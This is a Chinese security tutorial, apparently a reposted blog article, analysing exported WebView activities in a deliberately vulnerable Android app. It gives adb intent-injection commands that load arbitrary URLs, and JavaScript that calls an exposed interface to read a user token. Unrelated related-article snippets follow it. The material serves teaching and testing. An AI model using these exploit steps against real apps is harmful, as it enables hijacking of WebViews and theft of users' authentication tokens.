【移动安全】对webview漏洞的一些分析

这次分析的app如下:

打开发现该app发现需要登录界面:

拖进jadx看一下,先来看一下AndroidManifest.xml文件

发现有两个类是导出,再来分析这两个类

这个RegistrationWebView类利用webview.loadUrl进行加载网页

java

public class RegistrationWebView extends AppCompatActivity {/* JADX INFO: Access modifiers changed from: protected */@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activitypublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(C0816R.layout.activity_registration_web_view);setTitle("Registration page");loadWebView();}private void loadWebView() {WebView webView = (WebView) findViewById(C0816R.C0819id.webview);webView.setWebChromeClient(new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1@Override // android.webkit.WebChromeClientpublic boolean onConsoleMessage(ConsoleMessage consoleMessage) {Log.d("MyApplication", consoleMessage.message() + " -- From line " + consoleMessage.lineNumber() + " of " + consoleMessage.sourceId());return true;}});webView.setWebViewClient(new WebViewClient());webView.getSettings().setAllowUniversalAccessFromFileURLs(true);webView.getSettings().setJavaScriptEnabled(true);if (getIntent().getExtras().getBoolean("is_reg", false)) {      //根据传入的Intent中的参数,加载不同的URL。如果"is_reg"参数为true,则加载本地资源"registration.html",否则加载从Intent中传入的URL。webView.loadUrl("file:///android_asset/registration.html");} else {webView.loadUrl(getIntent().getStringExtra("reg_url"));    //可以恶意构造url}}
}

因为这个类是导出的,所以可以根据intent,恶意构造reg_url,进行网页的加载,这里可以使用adb命令进行intent的传递

adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url https://www.baidu.com

adb shell am start -n命令用于通过ADB(Android Debug Bridge)启动一个应用程序组件,如Activity、Service、BroadcastReceiver或ContentProvider。该命令需要提供要启动的组件的完整名称。

再看看app,可以发现页面已经被加载:

我们也可以发现,因为有了webView.getSettings().setJavaScriptEnabled(true),所以我们动态的加载js文件,我们准备一段html文件

html 

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Hello Page</title>
</head>
<body><script>alert("hello");
</script></body>
</html>

然后通过 adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///storage/emulated/0/MT2/hello.html" 进行加载js代码,这里可以改成恶意的js代码😍

我们接着来看另外一个类

代码如下:

java

package com.tmh.vulnwebview;import android.os.Bundle;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;/* loaded from: classes.dex */
public class SupportWebView extends AppCompatActivity {/* JADX INFO: Access modifiers changed from: protected */@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activitypublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(C0816R.layout.activity_support_web_view);setTitle("Support");loadWebView();}public void loadWebView() {WebView webView = (WebView) findViewById(C0816R.C0819id.webview2);webView.setWebChromeClient(new WebChromeClient());webView.setWebViewClient(new WebViewClient());webView.getSettings().setJavaScriptEnabled(true);Map<String, String> extraHeaders = new HashMap<>();extraHeaders.put("Authorization", getUserToken());webView.addJavascriptInterface(new WebAppInterface(this), "Android");     //允许js代码与android应用交互webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);}public static String getUserToken() {String uuid = UUID.randomUUID().toString();return uuid;}
}

这里有一句

highlighter- haxe

webView.addJavascriptInterface(new WebAppInterface(this), "Android");

这个接口允许在 WebView 中执行 JavaScript 代码,并与 Android 应用中的 Java 代码进行交互。

这个接口如果没有做足够的过滤是非常危险的,我们可以编写js代码直接调用getUserToken方法,js代码如下:

html

<script>document.write("token:"+Android.getUserToken())
</script>

 输入adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "file:storage/emulated/0/MT2/token.html",效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797785.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JS——判断节假日(假日包括周末,不包括调休上班的周末)

思路&#xff1a;创建两个数组&#xff0c;数组1为节假日数组&#xff0c;数组2为是周末上班日期数组。如果当前日期&#xff08;或某日期&#xff09;同时满足2个条件&#xff08;1.在节假日数组内或在周末。2.不在周末上班日期数组&#xff09;即为节假日&#xff0c;否则即为…

嵌入式学习第三十一天!(双向链表)

双向链表&#xff1a;在单向链表的每个结点中&#xff0c;再设置一个指向其前驱结点的指针域&#xff08;即牺牲部分空间&#xff0c;添加了一个前驱结点的指针域&#xff09; 1. 双向链表的定义&#xff1a; #ifndef _DOULINK_H_ #define _DOULINK_H_typedef struct stu {in…

SystemC入门学习Demo用例的工程化配置

背景&#xff1a;对不同的用例文件&#xff0c;使用CMakeLists.txt进行工程化管理的演示&#xff0c;这样开发者可以更加关注在代码开发上。 1&#xff0c;首先安装好系统环境的systemC库&#xff1a;ubuntu系统安装systemc-2.3.4流程-CSDN博客 2&#xff0c;准备好一个demo用…

再续前缘——C++【入门】

目录 1. 引用 引用概念 使用场景 1. 做参数 2. 引用做返回值 3.传值、传引用效率比较 4. 引用和指针的不同点 2. 内联函数 3.auto关键字 推导应用场景 auto不能推导的场景 4.基于范围的for循环(C11) 5.指针空值nullptr(C11) 1. 引用 引用概念 引用不是新定义一个…

JUC:手写实现一个简易的线程池(Java)

目录 ​编辑 先上完整代码&#xff1a; 解析&#xff1a; 任务队列&#xff1a; 线程池类&#xff1a; 拒绝策略&#xff1a; 先上完整代码&#xff1a; public class MyThreadPool {public static void main(String[] args) {ThreadPool threadPool new ThreadPool(2, …

Linux进程状态深度解析:探索进程的生命周期

文章目录 一、引言1、进程的概念与重要性2、Linux系统下进程状态的意义3、进程状态与系统性能的关系 二、Linux下进程状态概述1、Linux进程状态的分类2、进程状态信息的获取方法 三、Linux下进程状态详解1、运行状态&#xff08;Running&#xff09;2、可中断睡眠状态&#xff…

27.WEB渗透测试-数据传输与加解密(1)

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a; 易锦网校会员专享课 上一个内容&#xff1a;26.WEB渗透测试-BurpSuite&#xff08;五&#xff09; BP抓包网站网址&#xff1a;http:…

实现Hello Qt 程序

&#x1f40c;博主主页&#xff1a;&#x1f40c;​倔强的大蜗牛&#x1f40c;​ &#x1f4da;专栏分类&#xff1a;QT❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 目录 一、使用 "按钮" 实现 1、纯代码方式实现 2、可视化操作实现 &#xff08;1&#xff09…

【leetcode面试经典150题】15.分发糖果(C++)

【leetcode面试经典150题】专栏系列将为准备暑期实习生以及秋招的同学们提高在面试时的经典面试算法题的思路和想法。本专栏将以一题多解和精简算法思路为主&#xff0c;题解使用C语言。&#xff08;若有使用其他语言的同学也可了解题解思路&#xff0c;本质上语法内容一致&…

Hive3.0.0建库表命令测试

Hive创建表格格式如下&#xff1a; create [external] table [if not exists] table_name [(col_name data_type [comment col_comment],)] [comment table_comment] [partitioned by(col_name data_type [comment col_comment],)] [clustered by (col_name,col_name,...)…

贪心算法Java实现

贪心算法Java实现 贪心算法介绍 贪心算法&#xff08;贪婪算法&#xff09;是一个遵循启发式解决问题的算法范式&#xff0c;核心思想是通过在每一步的选择中都选用当前步骤下最优的选择&#xff0c;期望结果是最优的算法。贪心算法得到的结果不一定是最优结果&#xff0c;但是…

如何使用亮数据的数据IP代理及数据工具采集市场情报

如何使用亮数据的数据IP代理及数据工具采集市场情报 亮数据为粉丝提供了10美金的抵用券&#xff0c;成功注册账户&#xff0c;并登录后在用户界面里输入折扣代码即可享受抵扣&#xff01; 折扣代码&#xff1a;zhouzhou 访问页面&#xff1a;https://www.bright.cn/proxy-types…

对抗样本攻击

对抗样本是指经过特殊设计或调整的输入数据&#xff0c;旨在欺骗人工智能模型&#xff0c;使其产生错误的预测或输出。对抗样本通常是通过对原始输入进行微小但精心计算的改变&#xff0c;使得模型产生意外的结果。这种模糊化的输入可能难以从人类角度甄别&#xff0c;但对机器…

Laravel 开发Api规范

一&#xff0c;修改时区 配置 config/app.php 文件 // 时区修改&#xff0c;感觉两者皆可&#xff0c;自己根据实际情况定义 timezone > PRC, // 大陆时间二&#xff0c;设置 Accept 头中间件 accept头即为客户端请求头&#xff0c;做成中间件来使用。Accept 决定了响应返…

gma 教程:计算标准化降水指数(SPI)

安装 gma&#xff1a;pip install gma &#xff08;依赖的 gdal 需自行安装&#xff09; 本文基于&#xff1a;gma 2.0.8&#xff0c;Python 3.10 本文用到数据请从 gma 网站获取&#xff1a;https://gma.luosgeo.com/UserGuide/climet/Index/SPI.html 。 SPEI 函数简介 gma.c…

c#编程基础学习之方法

目录 C#方法方法参数默认参数值多个参数返回值命名参数 方法重载 C#方法 实例 在程序类内创建一个方法&#xff1a; class Program {static void MyMethod() //static 静态意味着方法属于程序类&#xff0c;而不是程序类的对象。void 表示此方法没有返回值。MyMethod() 是方法…

比较720组结构数列的收敛过程

在行&#xff0c;列可自由变换的平面上3点结构只有6个 这次计算由这6个结构排列组合&#xff0c;构成的所有720个不重复数列的递推收敛过程。 结果表明&#xff0c;所有的数列都可以在有限步内收敛。 有461个数列在3-4-3的递推过程中是天然稳定的&#xff0c;收敛结果就是本身…

上海计算机学会 2024年3月月赛 丙组T1 最近的数字(数学)

第一题&#xff1a;T1最近的数字 标签&#xff1a;数学题意&#xff1a;给定两个正整数 n n n与 d d d&#xff0c;请找到所有最接近 n n n且是 d d d的倍数的整数。如果有多个数字满足要求&#xff0c;从小到大输出。数据范围&#xff1a; 1 ≤ n , d ≤ 1 , 000 , 000 , 000…

STM32学习和实践笔记(4):分析和理解GPIO_InitTypeDef GPIO_InitStructure (c)

第二个成员变量是GPIOSpeed_TypeDef GPIO_Speed&#xff1b;也与int a一样同理。 GPIOSpeed_TypeDef是一个枚举类型&#xff0c;其定义如下&#xff1a; typedef enum { GPIO_Speed_10MHz 1, GPIO_Speed_2MHz, GPIO_Speed_50MHz }GPIOSpeed_TypeDef; #define IS_GPI…

.NET Standard、.NET Framework 、.NET Core三者的关系与区别?

.NET Standard、.NET Framework 和 .NET Core 是 .NET 平台生态中的三个关键概念&#xff0c;它们之间存在明确的关系和显著的区别。下面分别阐述它们各自的角色以及相互间的关系&#xff1a; .NET Standard 角色&#xff1a; .NET Standard 是一套正式的 API 规范&#xff0c…